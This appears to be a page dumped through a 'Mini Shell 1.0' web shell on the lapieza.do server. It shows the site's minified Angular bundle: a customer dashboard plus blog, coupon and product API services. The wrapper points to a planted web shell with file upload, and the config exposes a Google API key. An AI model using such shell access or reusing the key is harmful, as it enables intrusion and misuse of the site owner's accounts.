HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/lapieza.do/
Upload File :
Current File : /var/www/lapieza.do/common.c2f851b0e08b08ab.js
"use strict";(self.webpackChunkapp_lapieza=self.webpackChunkapp_lapieza||[]).push([[76],{745:(h,d,s)=>{s.r(d),s.d(d,{CustomerDashboardComponent:()=>g});var i=s(8834),t=s(8457),l=s(3443);function n(a,u){1&a&&(t.j41(0,"div",3),t.EFF(1," Cargando informacion... "),t.k0s())}function c(a,u){if(1&a&&(t.j41(0,"div",4)(1,"div",5)(2,"h2"),t.EFF(3,"Mi Dashboard"),t.k0s(),t.j41(4,"span",6),t.qSk(),t.j41(5,"svg",7),t.nrm(6,"use",8),t.k0s()()(),t.joV(),t.j41(7,"div",9)(8,"h6",10),t.EFF(9,"Hola, "),t.j41(10,"b",11),t.EFF(11),t.k0s()(),t.j41(12,"p",10),t.EFF(13,"Desde aqui, podr\xe1s ver toda la actividad de tu cuenta y actualizar su informaci\xf3n. Seleccione un enlace a continuaci\xf3n para ver o editar informaci\xf3n."),t.k0s()(),t.j41(14,"div",12)(15,"div",13)(16,"div",14)(17,"div",15),t.nrm(18,"img",16)(19,"img",17),t.j41(20,"div",18)(21,"h5"),t.EFF(22,"Total en \xd3rdenes"),t.k0s(),t.j41(23,"h3"),t.EFF(24),t.k0s()()()(),t.j41(25,"div",14)(26,"div",15),t.nrm(27,"img",19)(28,"img",20),t.j41(29,"div",18)(30,"h5"),t.EFF(31,"Total \xd3rdenes Pendientes"),t.k0s(),t.j41(32,"h3"),t.EFF(33),t.k0s()()()(),t.j41(34,"div",14)(35,"div",15),t.nrm(36,"img",21)(37,"img",22),t.j41(38,"div",18)(39,"h5"),t.EFF(40,"Listas de Deseo"),t.k0s(),t.j41(41,"h3"),t.EFF(42),t.k0s()()()()()(),t.j41(43,"div",23)(44,"h3"),t.EFF(45,"Informaci\xf3n de Cuenta"),t.k0s()(),t.j41(46,"div",24)(47,"div",25)(48,"div",26)(49,"h4"),t.EFF(50,"Informaci\xf3n de Contacto "),t.j41(51,"a",27),t.EFF(52,"Editar"),t.k0s()()(),t.j41(53,"div",28)(54,"h6",10),t.EFF(55),t.k0s(),t.j41(56,"h6",10),t.EFF(57),t.k0s(),t.j41(58,"a",29),t.EFF(59,"Cambiar Contrase\xf1a"),t.k0s()()(),t.j41(60,"div",25)(61,"div",26)(62,"h4"),t.EFF(63,"Newsletters "),t.j41(64,"a",27),t.EFF(65,"Editar"),t.k0s()()(),t.j41(66,"div",28)(67,"h6",10),t.EFF(68,"Actualmente no est\xe1 suscrito a ning\xfan newsletter"),t.k0s()()(),t.j41(69,"div",30)(70,"div",26)(71,"h4"),t.EFF(72,"Libreta de Direcciones "),t.j41(73,"a",27),t.EFF(74,"Editar"),t.k0s()()(),t.j41(75,"div",24)(76,"div",25)(77,"div",28)(78,"h6",10)(79,"b"),t.EFF(80,"Direcci\xf3n de Facturaci\xf3n Predeterminada"),t.k0s()(),t.j41(81,"h6",10),t.EFF(82,"No ha establecido una Direcci\xf3n de Facturaci\xf3n predeterminada."),t.k0s(),t.j41(83,"a",27),t.EFF(84,"Editar Direcci\xf3n"),t.k0s()()(),t.j41(85,"div",25)(86,"div",28)(87,"h6",10)(88,"b"),t.EFF(89,"Direcci\xf3n de Env\xedo Predeterminada"),t.k0s()(),t.j41(90,"h6",10),t.EFF(91,"No ha establecido una Direcci\xf3n de Env\xedo Predeterminada."),t.k0s(),t.j41(92,"a",27),t.EFF(93,"Editar Direcci\xf3n"),t.k0s()()()()()()()),2&a){const o=t.XpG();t.R7$(11),t.JRh(null==o.userCustomer?null:o.userCustomer.name),t.R7$(13),t.JRh(o.dashboard.order_count),t.R7$(9),t.JRh(o.dashboard.cart_item_count),t.R7$(9),t.JRh(o.dashboard.wishlist_item_count),t.R7$(13),t.JRh(null==o.userCustomer?null:o.userCustomer.name),t.R7$(2),t.JRh(null==o.userCustomer?null:o.userCustomer.email)}}let g=(()=>{class a{userService;userCustomer;userFirstNameDashboard="Usuario";dashboard={};isLoading=!1;constructor(o){this.userService=o}ngAfterViewInit(){this.getUserDashboardInfo()}ngOnInit(){this.userCustomer&&(console.log("[ngOnInit] userCustomer inicial:",this.userCustomer),this.processUser(this.userCustomer))}ngOnChanges(o){o.userCustomer&&console.log("UserCustomer in DashboardComponent:",this.userCustomer)}processUser(o){o&&o.name?(this.userFirstNameDashboard=o.name,console.log("[processUser] Nombre asignado a userFirstNameDashboard:",this.userFirstNameDashboard)):(this.userFirstNameDashboard="Usuario",console.warn("[processUser] No se encontr\xf3 el nombre del usuario en userCustomer."))}getUserDashboardInfo(){this.isLoading=!0,this.userService.getUserUserDashboardInfo().subscribe({next:o=>{console.log("[getUserDashboardInfo] Datos recibidos:",o),this.dashboard={cart_item_count:o.cart_item_count||0,wishlist_item_count:o.wishlist_item_count||0,order_count:o.order_count||0},this.isLoading=!1},error:o=>{console.error("[getUserDashboardInfo] Error:",o),this.isLoading=!1}})}static \u0275fac=function(r){return new(r||a)(t.rXU(l.D))};static \u0275cmp=t.VBU({type:a,selectors:[["app-customer-dashboard"]],inputs:{userCustomer:"userCustomer"},features:[t.OA$],decls:3,vars:2,consts:[["id","pills-dashboard","role","tabpanel",1,"tab-pane","fade","show","active"],["class","loading-indicator",4,"ngIf"],["class","dashboard-home",4,"ngIf"],[1,"loading-indicator"],[1,"dashboard-home"],[1,"title"],[1,"title-leaf"],[1,"icon-width","bg-gray"],[0,"xlink","href","assets/svg/leaf.svg#leaf"],[1,"dashboard-user-name"],[1,"text-content"],[1,"text-title"],[1,"total-box"],[1,"row","g-sm-4","g-3"],[1,"col-xxl-4","col-lg-6","col-md-4","col-sm-6"],[1,"total-contain"],["src","assets/images/svg/order.svg","alt","",1,"img-1","blur-up","lazyloaded"],["src","assets/images/svg/order.svg","alt","",1,"blur-up","lazyloaded"],[1,"total-detail"],["src","assets/images/svg/pending.svg","alt","",1,"img-1","blur-up","lazyloaded"],["src","assets/images/svg/pending.svg","alt","",1,"blur-up","lazyloaded"],["src","assets/images/svg/wishlist.svg","alt","",1,"img-1","blur-up","lazyloaded"],["src","assets/images/svg/wishlist.svg","alt","",1,"blur-up","lazyloaded"],[1,"dashboard-title"],[1,"row","g-4"],[1,"col-xxl-6"],[1,"dashboard-content-title"],["href","javascript:void(0)","data-bs-toggle","modal","data-bs-target","#editProfile"],[1,"dashboard-detail"],["href","javascript:void(0)"],[1,"col-12"]],template:function(r,e){1&r&&(t.j41(0,"div",0),t.DNE(1,n,2,0,"div",1)(2,c,94,6,"div",2),t.k0s()),2&r&&(t.R7$(),t.Y8G("ngIf",e.isLoading),t.R7$(),t.Y8G("ngIf",!e.isLoading))},dependencies:[i.D,i.I],encapsulation:2})}return a})()},1070:(h,d,s)=>{s.d(d,{c:()=>g});var i=s(5312),t=s(8041),l=s(8141),n=s(9437),c=s(8457);let g=(()=>{class a{http;apiUrl=i.c.apiUrl;constructor(o){this.http=o,this.apiUrl&&!this.apiUrl.endsWith("/")&&(this.apiUrl+="/"),console.log("API URL configurada:",this.apiUrl)}getHeaders(){return new t.b({"Content-Type":"application/json"})}getAllBlogs(){const o=`${this.apiUrl}blogs`;return console.log("Requesting URL:",o),this.http.get(o,{headers:this.getHeaders()}).pipe((0,l.M)(r=>console.log("getAllBlogs response:",r)),(0,n.W)(r=>{throw console.error("Error in getAllBlogs:",r),r}))}getActiveBlogs(){const o=`${this.apiUrl}blogs/active`;return console.log("Requesting URL:",o),this.http.get(o,{headers:this.getHeaders()}).pipe((0,l.M)(r=>console.log("getActiveBlogs response:",r)),(0,n.W)(r=>{throw console.error("Error in getActiveBlogs:",r),r}))}getBlogsByCategory(o){const r=`${this.apiUrl}blogs/category/${o}`;return console.log("Requesting URL:",r),this.http.get(r,{headers:this.getHeaders()}).pipe((0,l.M)(e=>console.log("getBlogsByCategory response:",e)),(0,n.W)(e=>{throw console.error("Error in getBlogsByCategory:",e),e}))}getBlogById(o){const r=`${this.apiUrl}blogs/${o}`;return console.log("Requesting URL:",r),this.http.get(r,{headers:this.getHeaders()}).pipe((0,l.M)(e=>console.log("getBlogById response:",e)),(0,n.W)(e=>{throw console.error("Error in getBlogById:",e),e}))}getImageUrl(o){const r=`${this.apiUrl}images/${o}`;return console.log("Requesting image URL:",r),this.http.get(r,{headers:this.getHeaders()}).pipe((0,l.M)(e=>console.log("getImageUrl response:",e)),(0,n.W)(e=>{throw console.error("Error in getImageUrl:",e),e}))}getBlogBySlug(o){const r=`${this.apiUrl}blogs/slug/${o}`;return console.log("Requesting blog by slug URL:",r),this.http.get(r,{headers:this.getHeaders()}).pipe((0,l.M)(e=>console.log("getBlogBySlug response:",e)),(0,n.W)(e=>{throw console.error("Error in getBlogBySlug:",e),e}))}static \u0275fac=function(r){return new(r||a)(c.KVO(t.a))};static \u0275prov=c.jDH({token:a,factory:a.\u0275fac,providedIn:"root"})}return a})()},3137:(h,d,s)=>{s.d(d,{r:()=>g});var i=s(5312),t=s(8041),l=s(8141),n=s(9437),c=s(8457);let g=(()=>{class a{http;apiUrl=i.c.apiUrl;constructor(o){this.http=o,this.apiUrl&&!this.apiUrl.endsWith("/")&&(this.apiUrl+="/")}getHeaders(){return new t.b({"Content-Type":"application/json"})}getAllCoupons(){return this.http.get(`${this.apiUrl}coupons`,{headers:this.getHeaders()}).pipe((0,l.M)(r=>console.log("getAllCoupons response:",r)),(0,n.W)(r=>{throw console.error("Error in getAllCoupons:",r),r}))}getCouponsId(o){return this.http.get(`${this.apiUrl}coupons/${o}`,{headers:this.getHeaders()}).pipe((0,l.M)(e=>console.log("getCouponsId response:",e)),(0,n.W)(e=>{throw console.error("Error in getCouponsId:",e),e}))}applyCouponCode(o){return this.http.post(`${this.apiUrl}coupon-apply`,{coupon_code:o},{headers:this.getHeaders()}).pipe((0,l.M)(p=>console.log("applyCouponCode response:",p)),(0,n.W)(p=>{throw console.error("Error in applyCouponCode:",p),p}))}static \u0275fac=function(r){return new(r||a)(c.KVO(t.a))};static \u0275prov=c.jDH({token:a,factory:a.\u0275fac,providedIn:"root"})}return a})()},3587:(h,d,s)=>{s.d(d,{c:()=>i});const i={production:!1,apiUrl:"https://negocios.lapieza.do/api/v2/",mainUrl:"https://lapieza.do",backendUrl:"https://negocios.lapieza.do",debugMode:!0,ImageUrl:"https://negocios.lapieza.do/public/uploads/all/",googleApiKey:"AIzaSyAH8B0_XYMMxt6T703c_I6ZjLFzayP8y2k",googleMapsId:"mapa-la-pieza",latitudeMapCenter:19.4326077,longitudeMapCenter:-70.650005,zoomMap:15,ipApiUrl:"https://api.ipify.org?format=json",googleGeolocationUrl:"https://www.googleapis.com/geolocation/v1/geolocate?key=",PedidosYaUrl:"https://courier-api.pedidosya.com/v3/shippings/estimates"}},7506:(h,d,s)=>{s.d(d,{g:()=>g});var i=s(6354),t=s(9437),l=s(5312),n=s(8457),c=s(8041);let g=(()=>{class u{http;apiUrl=l.c.apiUrl;constructor(r){this.http=r}getProductsTodayDeals(){return this.http.get(`${this.apiUrl}products/todays-deal`).pipe((0,i.T)(r=>r&&r.success&&Array.isArray(r.data)?r.data:(console.warn("Invalid API response format:",r),[])),(0,t.W)(r=>(console.error("Error fetching News Products:",r),[])))}getAllProducts(){return this.http.get(`${this.apiUrl}products`).pipe((0,i.T)(r=>r&&r.success&&r.data?r.data:r&&r.id?r:(console.warn("Unexpected product response format:",r),null)),(0,t.W)(r=>(console.error("Error fetching product",r),a())))}getProductById(r){return this.http.get(`${this.apiUrl}products/${r}`).pipe((0,i.T)(e=>(console.log(`Response for product ID ${r}:`,e),e&&e.success&&e.data?e.data:e&&e.id?e:(console.warn("Unexpected product response format:",e),null))),(0,t.W)(e=>(console.error(`Error fetching product ${r}:`,e),a())))}getProductsNews(){return this.http.get(`${this.apiUrl}products/search?sort_key=newest`).pipe((0,i.T)(r=>r&&r.success&&Array.isArray(r.data)?r.data:(console.warn("Invalid API response format:",r),[])),(0,t.W)(r=>(console.error("Error fetching News Products:",r),[])))}getProductsFlash(){return this.http.get(`${this.apiUrl}flash-deals`).pipe((0,i.T)(r=>r&&r.success&&Array.isArray(r.data)?r.data:(console.warn("Invalid API response format:",r),[])),(0,t.W)(r=>(console.error("Error fetching News Products:",r),[])))}getProductsFeatured(){return this.http.get(`${this.apiUrl}products/featured`).pipe((0,i.T)(r=>r&&r.success&&Array.isArray(r.data)?r.data:(console.warn("Invalid API response format:",r),[])),(0,t.W)(r=>(console.error("Error fetching News Products:",r),[])))}getProductsByCategoryId(r){return this.http.get(`${this.apiUrl}products/category/${r}`).pipe((0,i.T)(e=>e&&e.success&&Array.isArray(e.data)?e.data:(console.warn("Invalid API response format:",e),[])),(0,t.W)(e=>(console.error("Error fetching News Products:",e),[])))}getProductsBySlug(r){return this.http.get(`${this.apiUrl}products/slug/${r}`).pipe((0,i.T)(e=>e&&e.success&&Array.isArray(e.data)?e.data:(console.warn("Invalid API response format:",e),[])),(0,t.W)(e=>(console.error("Error fetching News Products:",e),[])))}getProductsRelated(r){return this.http.get(`${this.apiUrl}products/related/${r}`).pipe((0,i.T)(e=>e&&e.success&&Array.isArray(e.data)?e.data:(console.warn("Invalid API response format:",e),[])),(0,t.W)(e=>(console.error("Error fetching News Products:",e),[])))}getProductsBestSeller(){return this.http.get(`${this.apiUrl}products/best-seller`).pipe((0,i.T)(r=>r&&r.success&&Array.isArray(r.data)?r.data:(console.warn("Invalid API response format:",r),[])),(0,t.W)(r=>(console.error("Error fetching Best Seller Products:",r),[])))}static \u0275fac=function(e){return new(e||u)(n.KVO(c.a))};static \u0275prov=n.jDH({token:u,factory:u.\u0275fac,providedIn:"root"})}return u})();function a(u){throw new Error("Function not implemented.")}}}]);